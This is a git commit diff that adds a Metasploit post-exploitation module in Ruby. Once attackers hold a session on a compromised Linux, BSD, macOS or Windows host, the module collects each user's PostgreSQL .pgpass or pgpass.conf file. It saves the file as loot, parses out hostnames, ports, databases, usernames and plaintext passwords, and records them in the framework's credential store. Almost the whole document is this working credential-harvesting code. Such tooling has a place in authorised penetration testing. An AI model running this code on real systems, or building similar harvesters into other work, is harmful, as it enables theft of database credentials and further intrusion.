Merge branch '403labs-post-pgpass_creds'

Author: sinn3r

modules/post/multi/gather/pgpass_creds.rb

@@ -0,0 +1,129 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'msf/core/post/file'
+require 'msf/core/post/common'
+require 'msf/core/post/unix'
+require 'msf/core/post/windows/user_profiles'
+
+class Metasploit3 < Msf::Post
+
+	include Msf::Post::File
+	include Msf::Post::Common
+	include Msf::Post::Unix
+	include Msf::Post::Windows::UserProfiles
+
+	def initialize(info={})
+		super( update_info(info,
+			'Name'          => 'Multi Gather pgpass Credentials',
+			'Description'   => %q{
+					This module will collect the contents of user's .pgpass or pgpass.conf and
+				parse them for credentials.
+			},
+			'License'       => MSF_LICENSE,
+			'Author'        => ['Zach Grace <zgrace[at]403labs.com>'],
+			'Platform'      => %w[linux bsd unix osx win],
+			'SessionTypes'  => %w[meterpreter shell]
+		))
+	end
+
+	def run
+		print_status("Finding pgpass creds")
+
+		files = []
+		case session.platform
+		when /unix|linux|bsd|osx/
+			files = enum_user_directories.map {|d| d + "/.pgpass"}.select { |f| file?(f) }
+		when /win/
+			if session.type != "meterpreter"
+				print_error("Only meterpreter sessions are supported on windows hosts")
+				return
+			end
+
+			grab_user_profiles.select do |user|
+				f = "#{user['AppData']}\\postgresql\\pgpass.conf"
+				if user['AppData'] && file?(f)
+					files << f
+				end
+			end
+		else
+			print_error("Unsupported platform #{session.platform}")
+			return
+		end
+
+		if files.nil? || files.empty?
+			print_error("No users found with a .pgpass or pgpass.conf file")
+			return
+		end
+
+		files.each do |f|
+			# Store the loot
+			print_good("Downloading #{f}")
+			pgpass_path = store_loot("postgres.pgpass", "text/plain", session, read_file(f), "#{f}", "pgpass #{f} file")
+            print_good "Postgres credentials file saved to #{pgpass_path}"
+			# Store the creds
+			parse_creds(f)
+		end
+	end
+
+	# Store the creds to
+	def parse_creds(f)
+		cred_table = Rex::Ui::Text::Table.new(
+			'Header'  => 'Postgres Data',
+			'Indent'  => 1,
+			'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
+		)
+
+		read_file(f).each_line do |entry|
+			ip, port, db, user, pass = entry.chomp.split(/:/, 5)
+
+			# Fix for some weirdness that happens with backslashes
+			p = ""
+			bs = false
+			pass.split(//).each do |c|
+				if c == "\\"
+					if bs == false
+						bs = true
+						p << c
+					else
+						# second backslash ignore
+						bs = false
+					end
+				else
+					if c == ":" && bs == true
+						p = "#{p[0,p.length-1]}:"
+					else
+						p << c
+					end
+				end
+			end
+
+			pass = p
+			cred_table << [ip, port, db, user, pass]
+
+			cred_hash = {
+				:host => session.session_host,
+				:port => port,
+				:user => user,
+				:pass => pass,
+				:ptype => "password",
+				:sname => "postgres",
+				:source_type => "Cred",
+				:duplicate_ok => true,
+				:active => true
+			}
+
+			report_auth_info(cred_hash)
+		end
+
+		if not cred_table.rows.empty?
+			print_line
+			print_line(cred_table.to_s)
+		end
+	end
+end